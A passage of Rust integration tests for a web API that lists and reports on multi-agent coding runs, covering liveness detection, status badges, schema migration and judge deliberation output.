16640        assert_eq!(row["judges"], 3);
16641        assert_eq!(row["winner"], Value::Null);
16642        assert_eq!(row["reviews"], 0);
16643
16644        // The short id resolves, and the detail route is the state itself, not
16645        // a projection of it: the UI reads fields the summary does not carry.
16646        let detail = f.get("/api/runs/a1b2").await;
16647        assert_eq!(detail.status, 200);
16648        assert_eq!(detail.json()["base_branch"], "main");
16649        assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
16650    }
16651
16652    /// `status: "ready"` alone cannot tell a run still headed for a landing
16653    /// (a PR closed without merging, say) apart from one `[merge] mode =
16654    /// "none"` left unmerged for good — the confusion the operator flagged
16655    /// after the CLI report already grew a `not landed — nothing to do by
16656    /// design` line for exactly this case (`report.rs`). Both the list route
16657    /// and the detail route must carry a flag the phone can key on instead of
16658    /// re-deriving it from `status` + `merge.mode` itself.
16659    #[tokio::test]
16660    async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
16661        let f = Fixture::start().await;
16662
16663        let mut none_run = RunState::new(
16664            PathBuf::from("/repo/magi"),
16665            "main".to_owned(),
16666            "0123456789abcdef".to_owned(),
16667            "Add a web UI".to_owned(),
16668            Config::default(),
16669        );
16670        none_run.id = "20260902-140503-none".to_owned();
16671        none_run.status = RunStatus::Ready;
16672        none_run.merge = Some(crate::run::MergeOutcome {
16673            mode: crate::config::MergeMode::None,
16674            ok: true,
16675            detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
16676            empty: false,
16677        });
16678        write_state(&f.runs(), &none_run);
16679
16680        let mut pr_run = RunState::new(
16681            PathBuf::from("/repo/magi"),
16682            "main".to_owned(),
16683            "0123456789abcdef".to_owned(),
16684            "Add a web UI".to_owned(),
16685            Config::default(),
16686        );
16687        pr_run.id = "20260902-140504-prcl".to_owned();
16688        pr_run.status = RunStatus::Ready;
16689        pr_run.merge = Some(crate::run::MergeOutcome {
16690            mode: crate::config::MergeMode::Pr,
16691            ok: false,
16692            detail: "https://example.com/pr/1 was closed without merging".to_owned(),
16693            empty: false,
16694        });
16695        write_state(&f.runs(), &pr_run);
16696
16697        let summary = f.get("/api/runs").await.json();
16698        let rows: std::collections::HashMap<&str, &Value> = summary
16699            .as_array()
16700            .expect("an array")
16701            .iter()
16702            .map(|r| (r["id"].as_str().expect("an id"), r))
16703            .collect();
16704        assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
16705        assert_eq!(
16706            rows[none_run.id.as_str()]["unmerged_by_design"],
16707            true,
16708            "a mode-none Ready must be flagged in the list"
16709        );
16710        assert_eq!(
16711            rows[pr_run.id.as_str()]["unmerged_by_design"],
16712            false,
16713            "a Ready reached by a closed pull request is a different case"
16714        );
16715
16716        let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
16717        assert_eq!(none_detail["status"], "ready");
16718        assert_eq!(none_detail["unmerged_by_design"], true);
16719
16720        let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
16721        assert_eq!(pr_detail["unmerged_by_design"], false);
16722    }
16723
16724    /// `RunState::active` is only ever cleared by whoever populated it, so the
16725    /// detail route also has to say whether a daemon is actually still
16726    /// driving this run right now — otherwise a seat from a killed process's
16727    /// last wave would read as live forever.
16728    #[tokio::test]
16729    async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
16730        let f = Fixture::start().await;
16731        // Matches `write_daemon`'s hard-coded `current.run`, so the second
16732        // half of this test can claim the daemon is working on it without a
16733        // second helper.
16734        let id = "20260902-140502-bbbb";
16735        let mut state = RunState::new(
16736            PathBuf::from("/repo/magi"),
16737            "main".to_owned(),
16738            "0123456789abcdef".to_owned(),
16739            "Add a web UI".to_owned(),
16740            Config::default(),
16741        );
16742        state.id = id.to_owned();
16743        state.status = RunStatus::Judging;
16744        state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
16745        let dir = f.runs().join(id);
16746        std::fs::create_dir_all(&dir).expect("run dir");
16747        std::fs::write(
16748            dir.join("run.json"),
16749            serde_json::to_string_pretty(&state).expect("serialize run"),
16750        )
16751        .expect("write run.json");
16752
16753        // No daemon.json at all, and no `driver_pid` recorded either (this
16754        // state was written directly, never through `execute()`): there is
16755        // nothing to confirm either way, so the route must say `"unknown"` —
16756        // never `"dead"`, which is exactly the false diagnosis a manual `magi
16757        // run` used to get from this route before `driver_pid` existed.
16758        let cold = f.get(&format!("/api/runs/{id}")).await.json();
16759        assert_eq!(cold["active"]["judge-2"]["node"], "judge");
16760        assert_eq!(cold["live"], "unknown", "{cold}");
16761
16762        // A fresh heartbeat naming exactly this run: the same entry now reads
16763        // as confirmed, not merely recorded.
16764        write_daemon(f.home.path(), Timestamp::now());
16765        let warm = f.get(&format!("/api/runs/{id}")).await.json();
16766        assert_eq!(warm["live"], "live", "{warm}");
16767    }
16768
16769    #[test]
16770    fn schema_thirteen_loads_through_cli_and_web_without_rewriting() {
16771        let home = tempfile::tempdir().expect("temp home");
16772        let runs = home.path().join("runs");
16773        for origin in [None, Some(crate::run::Origin::queue("legacy-task"))] {
16774            let mut state = RunState::new(
16775                PathBuf::from("/repo/magi"),
16776                "main".to_owned(),
16777                "0123456789abcdef".to_owned(),
16778                "Generated review context, not authored task criteria".to_owned(),
16779                Config::default(),
16780            );
16781            state.origin = origin;
16782            state.status = RunStatus::Blocked;
16783            // Earlier migrations must not infer these facts again.
16784            state.driver_exited = false;
16785            state.gate_ran = true;
16786            let expected = serde_json::to_value(&state).expect("serialize current state");
16787            let mut legacy = expected.clone();
16788            legacy["schema"] = serde_json::json!(13);
16789            legacy.as_object_mut().unwrap().remove("task_instruction");
16790            let dir = runs.join(&state.id);
16791            std::fs::create_dir_all(&dir).expect("run dir");
16792            let path = dir.join("run.json");
16793            let body = serde_json::to_vec_pretty(&legacy).expect("serialize legacy state");
16794            std::fs::write(&path, &body).expect("write legacy run");
16795
16796            for loaded in [
16797                RunState::load_under(&state.id, home.path()).expect("CLI migration"),
16798                read_run(&runs, &state.id).expect("web migration"),
16799            ] {
16800                assert_eq!(loaded.schema, crate::run::SCHEMA);
16801                assert!(loaded.task_instruction.is_none());
16802                assert_eq!(serde_json::to_value(loaded).unwrap(), expected);
16803            }
16804            assert_eq!(runs_unreadable(&runs), 0);
16805            assert_eq!(std::fs::read(&path).unwrap(), body);
16806        }
16807    }
16808
16809    /// Where a run came from is shown, and a run written before origins were
16810    /// recorded (schema 12, no `origin` key) stays readable and says so.
16811    #[tokio::test]
16812    async fn run_detail_shows_the_origin_and_reads_a_pre_origin_run_as_unknown() {
16813        let f = Fixture::start().await;
16814        let write = |id: &str, origin: Option<crate::run::Origin>, schema: Option<u32>| {
16815            let mut state = RunState::new(
16816                PathBuf::from("/repo/magi"),
16817                "main".to_owned(),
16818                "0123456789abcdef".to_owned(),
16819                "Add a web UI".to_owned(),
16820                Config::default(),
16821            );
16822            state.id = id.to_owned();
16823            state.origin = origin;
16824            let mut value = serde_json::to_value(&state).expect("serialize run");
16825            if let Some(schema) = schema {
16826                value["schema"] = serde_json::json!(schema);
16827                value.as_object_mut().unwrap().remove("origin");
16828            }
16829            let dir = f.runs().join(id);
16830            std::fs::create_dir_all(&dir).expect("run dir");
16831            std::fs::write(dir.join("run.json"), value.to_string()).expect("write run.json");
16832        };
16833        write(
16834            "20260930-092817-ec34",
16835            Some(crate::run::Origin::from_agent_env(
16836                Some(("4a7b".to_owned(), "chat".to_owned())),
16837                None,
16838            )),
16839            None,
16840        );
16841        write("20260930-092817-0ld1", None, Some(12));
16842
16843        let new = f.get("/api/runs/20260930-092817-ec34").await.json();
16844        assert_eq!(new["origin_label"], "chat 4a7b", "{new}");
16845        assert_eq!(new["origin"]["by"]["kind"], "chat", "{new}");
16846
16847        let old = f.get("/api/runs/20260930-092817-0ld1").await.json();
16848        assert_eq!(
16849            old["origin_label"], "origin unknown (started before origins were recorded)",
16850            "{old}"
16851        );
16852        assert!(old["origin"].is_null(), "{old}");
16853
16854        let list = f.get("/api/runs").await.json();
16855        let labels: Vec<_> = list
16856            .as_array()
16857            .unwrap()
16858            .iter()
16859            .map(|r| r["origin_label"].as_str().unwrap().to_owned())
16860            .collect();
16861        assert!(labels.contains(&"chat 4a7b".to_owned()), "{list}");
16862    }
16863
16864    /// The gap `driver_pid` exists to close: a manual `magi run` / `magi
16865    /// review` claims no daemon at all, so before this field existed the
16866    /// route above read it as `"dead"` — indistinguishable from a run a
16867    /// killed process abandoned — the whole time it was genuinely still
16868    /// answering. With a live pid recorded, it must read `"live"` even
16869    /// though no daemon claims it.
16870    #[tokio::test]
16871    async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
16872        let f = Fixture::start().await;
16873        let id = "20260922-090000-cccc";
16874        let mut state = RunState::new(
16875            PathBuf::from("/repo/magi"),
16876            "main".to_owned(),
16877            "0123456789abcdef".to_owned(),
16878            "Review only".to_owned(),
16879            Config::default(),
16880        );
16881        state.id = id.to_owned();
16882        state.status = RunStatus::Reviewing;
16883        state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
16884        // This test process's own pid: guaranteed alive, and never needs a
16885        // real daemon or a second process to prove it. The matching start-time
16886        // marker is what `liveness` now requires alongside a live pid — see
16887        // `RunState::driver_started_at`'s own doc for why the pid alone is
16888        // not enough.
16889        state.driver_pid = Some(std::process::id());
16890        state.driver_started_at = Some(
16891            crate::proc::process_started_at(std::process::id())
16892                .expect("this test process's own start time must be queryable"),
16893        );
16894        let dir = f.runs().join(id);
16895        std::fs::create_dir_all(&dir).expect("run dir");
16896        std::fs::write(
16897            dir.join("run.json"),
16898            serde_json::to_string_pretty(&state).expect("serialize run"),
16899        )
16900        .expect("write run.json");
16901
16902        let detail = f.get(&format!("/api/runs/{id}")).await.json();
16903        assert_eq!(detail["live"], "live", "{detail}");
16904    }
16905
16906    /// A killed manual run's pid can be handed to a wholly unrelated later
16907    /// process — a live query on `driver_pid` alone would read this as
16908    /// `"live"`, exactly the false positive `driver_started_at` exists to
16909    /// catch (see that field's own doc, and `RunState::liveness_with`'s
16910    /// pid-reuse test). The route must read it as `"dead"`, not `"live"`.
16911    #[tokio::test]
16912    async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
16913        let f = Fixture::start().await;
16914        let id = "20260922-090100-dddd";
16915        let mut state = RunState::new(
16916            PathBuf::from("/repo/magi"),
16917            "main".to_owned(),
16918            "0123456789abcdef".to_owned(),
16919            "Review only".to_owned(),
16920            Config::default(),
16921        );
16922        state.id = id.to_owned();
16923        state.status = RunStatus::Reviewing;
16924        state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
16925        // This test process's own pid really is alive, but the marker
16926        // recorded here does not match what it actually started at —
16927        // standing in for the pid having since been reused by a different
16928        // process than the one that wrote `run.json`.
16929        state.driver_pid = Some(std::process::id());
16930        state.driver_started_at = Some("1".to_owned());
16931        let dir = f.runs().join(id);
16932        std::fs::create_dir_all(&dir).expect("run dir");
16933        std::fs::write(
16934            dir.join("run.json"),
16935            serde_json::to_string_pretty(&state).expect("serialize run"),
16936        )
16937        .expect("write run.json");
16938
16939        let detail = f.get(&format!("/api/runs/{id}")).await.json();
16940        assert_eq!(detail["live"], "dead", "{detail}");
16941    }
16942
16943    /// The deck's competition list is normally the first place an operator
16944    /// sees an old run. It must carry the same process verdict as detail, or
16945    /// its `reviewing` chip keeps falsely advertising a dead run as in flight.
16946    #[test]
16947    fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
16948        let mk = |id: &str, pid: Option<u32>| {
16949            let mut s = RunState::new(
16950                PathBuf::from("/repo/magi"),
16951                "main".to_owned(),
16952                "0123456789abcdef".to_owned(),
16953                "Add a web UI".to_owned(),
16954                Config::default(),
16955            );
16956            s.id = id.to_owned();
16957            s.driver_pid = pid;
16958            s.driver_started_at = Some("1790000000".to_owned());
16959            s
16960        };
16961        let states = vec![
16962            mk("20260902-140502-aaaa", Some(77)),
16963            mk("20260902-140502-bbbb", Some(77)),
16964            mk("20260902-140502-cccc", Some(77)),
16965            mk("20260902-140502-dddd", None),
16966        ];
16967        let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
16968        let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
16969        let sup: HashMap<String, String> = [(
16970            "20260902-140502-aaaa".to_owned(),
16971            "20260902-140502-cccc".to_owned(),
16972        )]
16973        .into();
16974
16975        let status_calls = std::cell::Cell::new(0);
16976        let identity_calls = std::cell::Cell::new(0);
16977        let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
16978            |_| {
16979                status_calls.set(status_calls.get() + 1);
16980                Some(true)
16981            },
16982            |_| {
16983                identity_calls.set(identity_calls.get() + 1);
16984                Some("1790000000".to_owned())
16985            },
16986        ));
16987        let rows = summarize(
16988            states,
16989            &open,
16990            &claimed,
16991            &sup,
16992            |p| probe.borrow_mut().status(p),
16993            |p| probe.borrow_mut().started_at(p),
16994        );
16995
16996        assert_eq!(status_calls.get(), 1, "one pid, one status query");
16997        assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
16998        assert_eq!(rows.len(), 4);
16999        assert!(!rows[0].waiting && rows[1].waiting);
17000        assert_eq!(rows[0].live, crate::run::Liveness::Live);
17001        assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
17002        assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
17003        assert_eq!(rows[1].superseded_by, None);
17004    }
17005
17006    #[test]
17007    fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
17008        let mut state = RunState::new(
17009            PathBuf::from("/repo/magi"),
17010            "main".to_owned(),
17011            "0123456789abcdef".to_owned(),
17012            "Review only".to_owned(),
17013            Config::default(),
17014        );
17015        state.id = "20260922-090200-dead".to_owned();
17016        state.status = RunStatus::Reviewing;
17017        let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
17018            .expect("serialize list row");
17019        assert_eq!(row["status"], "reviewing");
17020        assert_eq!(row["display_status"], "stale");
17021        assert_eq!(row["live"], "dead", "{row}");
17022        assert!(!row["done"].as_bool().unwrap());
17023    }
17024
17025    #[test]
17026    fn run_display_status_distinguishes_park_crash_and_owner_wait() {
17027        use crate::run::Liveness::{Dead, Live, Unknown};
17028        let mut state = RunState::new(
17029            PathBuf::from("/repo/magi"),
17030            "main".to_owned(),
17031            "abc".to_owned(),
17032            "Review only".to_owned(),
17033            Config::default(),
17034        );
17035        for (status, parked, node, waiting, live, expected) in [
17036            (
17037                RunStatus::Judging,
17038                true,
17039                "github-text",
17040                false,
17041                Dead,
17042                "parked",
17043            ),
17044            (RunStatus::Judging, false, "park", false, Dead, "stale"),
17045            (RunStatus::Judging, false, "judge", false, Dead, "stale"),
17046            (
17047                RunStatus::Judging,
17048                true,
17049                "github-text",
17050                true,
17051                Dead,
17052                "waiting",
17053            ),
17054            (
17055                RunStatus::Judging,
17056                false,
17057                "github-text",
17058                true,
17059                Dead,
17060                "waiting",
17061            ),
17062            (
17063                RunStatus::Judging,
17064                false,
17065                "github-text",
17066                false,
17067                Dead,
17068                "stale",
17069            ),
17070            (RunStatus::Judging, false, "resume", false, Dead, "stale"),
17071            (RunStatus::Judging, true, "park", false, Live, "judging"),
17072            (RunStatus::Judging, true, "park", false, Unknown, "judging"),
17073            (RunStatus::Merged, true, "park", false, Dead, "merged"),
17074            (RunStatus::Blocked, true, "park", false, Dead, "blocked"),
17075            (
17076                RunStatus::Blocked,
17077                true,
17078                "github-text",
17079                true,
17080                Dead,
17081                "waiting",
17082            ),
17083        ] {
17084            state.status = status;
17085            state.parked = parked;
17086            state.events.clear();
17087            state.event(
17088                "park",
17089                "an earlier park does not determine the latest state",
17090            );
17091            state.event(node, "message is not used for classification");
17092            let summary = RunSummary::of(&state, waiting, live);
17093            let detail = RunDetailView::of(state.clone(), waiting, live, None, None, None);
17094            assert_eq!(
17095                summary.display_status, expected,
17096                "{status:?}/{node}/{live:?}"
17097            );
17098            assert_eq!(detail.display_status, summary.display_status);
17099            assert_eq!(detail.waiting, summary.waiting);
17100        }
17101        state.status = RunStatus::Judging;
17102        state.parked = false;
17103        state.events.clear();
17104        assert_eq!(run_display_status(&state, false, Dead), "stale");
17105    }
17106
17107    #[test]
17108    fn badge_status_prefers_superseded_then_stale_and_spares_live_and_terminal() {
17109        use crate::run::Liveness::{Dead, Live, Unknown};
17110        let mut state = RunState::new(
17111            PathBuf::from("/repo/magi"),
17112            "main".to_owned(),
17113            "abc".to_owned(),
17114            "Badge".to_owned(),
17115            Config::default(),
17116        );
17117        for (status, waiting, live, superseded, expected) in [
17118            (RunStatus::Gating, false, Dead, false, "stale"),
17119            (RunStatus::Gating, false, Dead, true, "superseded"),
17120            (RunStatus::Gating, false, Unknown, true, "superseded"),
17121            (RunStatus::Gating, true, Dead, true, "superseded"),
17122            (RunStatus::Gating, true, Dead, false, "waiting"),
17123            (RunStatus::Gating, false, Unknown, false, "gating"),
17124            (RunStatus::Gating, false, Live, true, "gating"),
17125            (RunStatus::Gating, true, Live, true, "waiting"),
17126            (RunStatus::Merged, false, Dead, true, "merged"),
17127            (RunStatus::Blocked, false, Dead, true, "blocked"),
17128        ] {
17129            state.status = status;
17130            let display = run_display_status(&state, waiting, live);
17131            assert_eq!(
17132                run_badge_status(&state, &display, live, superseded),
17133                expected,
17134                "{status:?}/{live:?}/superseded={superseded}"
17135            );
17136        }
17137    }
17138
17139    #[test]
17140    fn summarize_and_detail_expose_badge_status() {
17141        use crate::run::Liveness::Dead;
17142        let mut state = RunState::new(
17143            PathBuf::from("/repo/magi"),
17144            "main".to_owned(),
17145            "abc".to_owned(),
17146            "Badge".to_owned(),
17147            Config::default(),
17148        );
17149        state.status = RunStatus::Gating;
17150        let none = HashSet::new();
17151        let id = state.id.clone();
17152        let mut by = HashMap::new();
17153        let rows = summarize(
17154            [state.clone()],
17155            &none,
17156            &none,
17157            &by,
17158            |_| Some(false),
17159            |_| None,
17160        );
17161        // No driver recorded: liveness is not provably dead, so the node stays.
17162        assert_eq!(rows[0].badge_status, rows[0].display_status);
17163        by.insert(id, "20260901-000000-913b".to_owned());
17164        let detail = RunDetailView::of(
17165            state.clone(),
17166            false,
17167            Dead,
17168            Some("913b".to_owned()),
17169            None,
17170            None,
17171        );
17172        assert_eq!(detail.badge_status, "superseded");
17173        let json = serde_json::to_value(&detail).unwrap();
17174        assert_eq!(json["badge_status"], "superseded");
17175        let detail = RunDetailView::of(state, false, Dead, None, None, None);
17176        assert_eq!(detail.badge_status, "stale");
17177    }
17178
17179    #[tokio::test]
17180    async fn run_display_status_routes_share_the_open_question_store() {
17181        let f = Fixture::start().await;
17182        let id = "20260922-090200-abcd";
17183        write_run(&f.runs(), id, RunStatus::Judging);
17184        let mut state = read_run(&f.runs(), id).unwrap();
17185        state.parked = true;
17186        state.driver_exited = true;
17187        state.event("github-text", "waiting for the owner");
17188        state.save_under(f.home.path()).unwrap();
17189        let mut task = Task::new(
17190            "resumed task".to_owned(),
17191            "do it".to_owned(),
17192            PathBuf::from("/repo"),
17193            Source::Human,
17194        );
17195        task.runs = vec![id.to_owned(), id.to_owned()];
17196        f.queue().put(&mut task).unwrap();
17197        let store = f.questions();
17198        let mut q = Question::new(
17199            id.to_owned(),
17200            "github-text".to_owned(),
17201            "owner".to_owned(),
17202            "Approve the text?".to_owned(),
17203            String::new(),
17204            Vec::new(),
17205        );
17206        store.put(&mut q).unwrap();
17207        for expected in ["waiting", "parked"] {
17208            let list = f.get("/api/runs").await.json();
17209            let detail = f.get(&format!("/api/runs/{id}")).await.json();
17210            assert_eq!(list[0]["display_status"], expected);
17211            assert_eq!(detail["display_status"], expected);
17212            assert_eq!(detail["waiting"], list[0]["waiting"]);
17213            assert_eq!(list[0]["badge_status"], expected);
17214            assert_eq!(detail["badge_status"], expected);
17215            assert!(list[0]["superseded_by"].is_null());
17216            assert!(detail["superseded_by"].is_null());
17217            let task_detail = f.get(&format!("/api/queue/{}", task.id)).await.json();
17218            let history = task_detail["history"].as_array().unwrap();
17219            assert_eq!(history.len(), 2);
17220            assert!(history[0]["badge"].is_null());
17221            assert_eq!(history[1]["badge"], expected);
17222            q.status = ask::QuestionStatus::Answered;
17223            store.put(&mut q).unwrap();
17224        }
17225    }
17226
17227    #[tokio::test]
17228    async fn a_resumed_crashed_driver_is_stale_despite_its_last_park_event() {
17229        let f = Fixture::start().await;
17230        let id = "20260922-090200-abcd";
17231        write_run(&f.runs(), id, RunStatus::Judging);
17232        let mut state = read_run(&f.runs(), id).unwrap();
17233        state.parked = true;
17234        state.driver_exited = true;
17235        state.event("park", "stopped at a node boundary");
17236        state.save_under(f.home.path()).unwrap();
17237
17238        for expected in ["parked", "stale"] {
17239            let list = f.get("/api/runs").await.json();
17240            let detail = f.get(&format!("/api/runs/{id}")).await.json();
17241            assert_eq!(list[0]["live"], "dead");
17242            assert_eq!(list[0]["display_status"], expected);
17243            assert_eq!(detail["display_status"], expected);
17244            // Model a driver claim followed by a crash before the next event:
17245            // the persisted flag changes, but the last event is still park.
17246            state.parked = false;
17247            state.save_under(f.home.path()).unwrap();
17248        }
17249    }
17250
17251    #[tokio::test]
17252    async fn the_run_list_is_newest_first_and_honours_a_limit() {
17253        let f = Fixture::start().await;
17254        for id in [
17255            "20260902-140501-aaaa",
17256            "20260902-140502-bbbb",
17257            "20260902-140503-cccc",
17258        ] {
17259            write_run(&f.runs(), id, RunStatus::Merged);
17260        }
17261
17262        let all = f.get("/api/runs").await.json();
17263        let capped = f.get("/api/runs?limit=2").await.json();
17264
17265        assert_eq!(all[0]["id"], "20260902-140503-cccc");
17266        assert_eq!(all.as_array().map(Vec::len), Some(3));
17267        assert_eq!(capped.as_array().map(Vec::len), Some(2));
17268        assert_eq!(capped[0]["id"], "20260902-140503-cccc");
17269    }
17270
17271    #[tokio::test]
17272    async fn the_report_route_serves_the_terminal_report_as_plain_text() {
17273        let f = Fixture::start().await;
17274        write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
17275
17276        let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
17277
17278        assert_eq!(res.status, 200);
17279        assert!(
17280            res.headers
17281                .contains("content-type: text/plain; charset=utf-8"),
17282            "a browser must render it, not download it: {}",
17283            res.headers
17284        );
17285        // The assertion is on content, not on the absence of escapes: colour
17286        // is a process-global that `serve` turns off at startup, and another
17287        // test in this binary may own it while this one runs.
17288        assert!(
17289            res.body.contains("20260902-140501-a1b2"),
17290            "the report is about the run that was asked for: {}",
17291            res.body
17292        );
17293    }
17294
17295    #[tokio::test]
17296    async fn the_report_json_route_serves_sections_and_never_hides_an_unreadable_run() {
17297        // The view names the run's state directory, which reads the process-global home.
17298        crate::run::pin_test_home();
17299        let f = Fixture::start().await;
17300        let id = "20260902-140501-a1b2";
17301        write_run(&f.runs(), id, RunStatus::Stalled);
17302        // A stalled panel and one review round, written through the real
17303        // state file so the route reads what a run really leaves behind.
17304        let path = f.runs().join(id).join("run.json");
17305        let mut v: serde_json::Value =
17306            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
17307        v["tally"] = serde_json::json!({
17308            "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
17309            "unanimous_initial": true, "deliberated": false, "changed_votes": 0,
17310            "unanimous_final": true, "judges": 3, "present": 1, "quorum": 2,
17311            "met_quorum": false, "rankings": 1
17312        });
17313        v["reviews"] = serde_json::json!([{
17314            "round": 1, "head": "abcdef0123", "answered": 1, "expected": 1, "blocking": 1,
17315            "e2e_deferred": true,
17316            "reviews": [{"reviewer": 1, "agent": "a", "findings": [
17317                {"id": "R1-1-1", "severity": "major", "title": "t", "file": "src/a.rs", "line": 3}
17318            ]}]
17319        }]);
17320        std::fs::write(&path, v.to_string()).unwrap();
17321        write_run(&f.runs(), "20260902-140502-dead", RunStatus::Blocked);
17322        std::fs::write(
17323            f.runs().join("20260902-140502-dead").join("run.json"),
17324            "{not json",
17325        )
17326        .unwrap();
17327
17328        let res = f.get(&format!("/api/runs/{id}/report.json")).await;
17329
17330        assert_eq!(res.status, 200, "{}", res.body);
17331        assert!(res.headers.contains("content-type: application/json"));
17332        let j = res.json();
17333        assert_eq!(j["schema"], 1);
17334        assert_eq!(j["header"]["id"], id);
17335        assert_eq!(j["header"]["tone"], "warn", "a stalled run is never ok");
17336        let kinds: Vec<&str> = j["sections"]
17337            .as_array()
17338            .unwrap()
17339            .iter()
17340            .map(|s| s["kind"].as_str().unwrap())
17341            .collect();
17342        assert_eq!(kinds, ["candidates", "tally", "review"]);
17343        let tally = &j["sections"][1]["tally"];
17344        assert_eq!(
17345            (tally["decided"].clone(), tally["provisional"].clone()),
17346            (false.into(), true.into())
17347        );
17348        let round = &j["sections"][2]["rounds"][0];
17349        assert_eq!(round["e2e"]["state"], "deferred");
17350        assert_eq!(round["findings"][0]["severity"], "major");
17351        assert_eq!(round["findings"][0]["blocking"], true);
17352        assert_eq!(round["findings"][0]["state"], "open");
17353
17354        // The raw route keeps working beside it.
17355        assert_eq!(f.get(&format!("/api/runs/{id}/report")).await.status, 200);
17356
17357        // An unreadable run is an error, as on the text route, and is counted.
17358        let bad = f.get("/api/runs/20260902-140502-dead/report.json").await;
17359        assert_ne!(bad.status, 200, "{}", bad.body);
17360        assert_eq!(
17361            bad.status,
17362            f.get("/api/runs/20260902-140502-dead/report").await.status
17363        );
17364        assert_eq!(f.get("/api/health").await.json()["runs_unreadable"], 1);
17365        assert_eq!(
17366            f.get("/api/runs/20260902-999999-ffff/report.json")
17367                .await
17368                .status,
17369            404
17370        );
17371    }
17372
17373    #[tokio::test]
17374    async fn the_report_json_route_serves_deliberation_turns_with_markdown_bodies() {
17375        crate::run::pin_test_home();
17376        let f = Fixture::start().await;
17377        let id = "20260902-140503-delib";
17378        write_run(&f.runs(), id, RunStatus::Merged);
17379        let path = f.runs().join(id).join("run.json");
17380        let mut v: serde_json::Value =
17381            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
17382        v["judgements"] = serde_json::json!([
17383            {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
17384        ]);
17385        v["tally"] = serde_json::json!({
17386            "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
17387            "unanimous_initial": false, "deliberated": true, "changed_votes": 0,
17388            "unanimous_final": true, "judges": 1, "present": 1, "quorum": 1,
17389            "met_quorum": true, "rankings": 1
17390        });
17391        v["deliberation"] = serde_json::json!([
17392            {
17393                "round": 1,
17394                "turns": [
17395                    {
17396                        "judge": 1,
17397                        "agent": "judge-1",
17398                        "body": "I prefer candidate **A** because it has cleaner tests.",
17399                        "tentative": "A"
17400                    }
17401                ]
17402            },
17403            {
17404                "round": 2,
17405                "turns": [
17406                    {
17407                        "judge": 1,
17408                        "agent": "judge-1",
17409                        "body": "Still thinking, no choice yet.",
17410                        "tentative": null
17411                    }
17412                ]
17413            }
17414        ]);
17415        std::fs::write(&path, v.to_string()).unwrap();
17416
17417        let res = f.get(&format!("/api/runs/{id}/report.json")).await;
17418        assert_eq!(res.status, 200, "{}", res.body);
17419        let j = res.json();
17420        let judging = j["sections"]
17421            .as_array()
17422            .unwrap()
17423            .iter()
17424            .find(|s| s["kind"] == "judging")
17425            .expect("judging section exists");
17426
17427        // Existing summary lines remain intact
17428        let delib_lines = judging["deliberation"].as_array().unwrap();
17429        assert_eq!(delib_lines.len(), 2);
17430        assert_eq!(delib_lines[0], "r1 judge 1 -> A");
17431        assert_eq!(delib_lines[1], "r2 judge 1 -> -");
17432
17433        // rounds carry turn bodies, tentative and parsed body_md
17434        let rounds = judging["rounds"].as_array().unwrap();
17435        assert_eq!(rounds.len(), 2);
17436        let r1_t0 = &rounds[0]["turns"][0];
17437        assert_eq!(r1_t0["judge"], 1);
17438        assert_eq!(r1_t0["agent"], "judge-1");
17439        assert_eq!(r1_t0["tentative"], "A");
17440        assert_eq!(
17441            r1_t0["body"],
17442            "I prefer candidate **A** because it has cleaner tests."
17443        );
17444        assert!(!r1_t0["body_md"].as_array().unwrap().is_empty());
17445
17446        let r2_t0 = &rounds[1]["turns"][0];
17447        assert_eq!(r2_t0["judge"], 1);
17448        assert_eq!(r2_t0["agent"], "judge-1");
17449        assert!(r2_t0["tentative"].is_null());
17450        assert_eq!(r2_t0["body"], "Still thinking, no choice yet.");
17451        assert!(!r2_t0["body_md"].as_array().unwrap().is_empty());
17452
17453        // A run with empty deliberation array yields empty rounds
17454        let id_empty = "20260902-140504-nodelib";
17455        write_run(&f.runs(), id_empty, RunStatus::Merged);
17456        let path_empty = f.runs().join(id_empty).join("run.json");
17457        let mut v_empty: serde_json::Value =
17458            serde_json::from_str(&std::fs::read_to_string(&path_empty).unwrap()).unwrap();
17459        v_empty["judgements"] = serde_json::json!([
17460            {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
17461        ]);
17462        v_empty["deliberation"] = serde_json::json!([]);
17463        std::fs::write(&path_empty, v_empty.to_string()).unwrap();
17464
17465        let res_empty = f.get(&format!("/api/runs/{id_empty}/report.json")).await;
17466        assert_eq!(res_empty.status, 200, "{}", res_empty.body);
17467        let j_empty = res_empty.json();
17468        let judging_empty = j_empty["sections"]
17469            .as_array()
17470            .unwrap()
17471            .iter()
17472            .find(|s| s["kind"] == "judging")
17473            .expect("judging section exists");
17474        assert_eq!(judging_empty["rounds"].as_array().unwrap().len(), 0);
17475    }
17476
17477    #[tokio::test]
17478    async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
17479        let f = Fixture::start().await;
17480
17481        let html = f.get("/").await;
17482        let css = f.get("/app.css").await;
17483        let js = f.get("/app.js").await;
17484
17485        assert_eq!((html.status, css.status, js.status), (200, 200, 200));
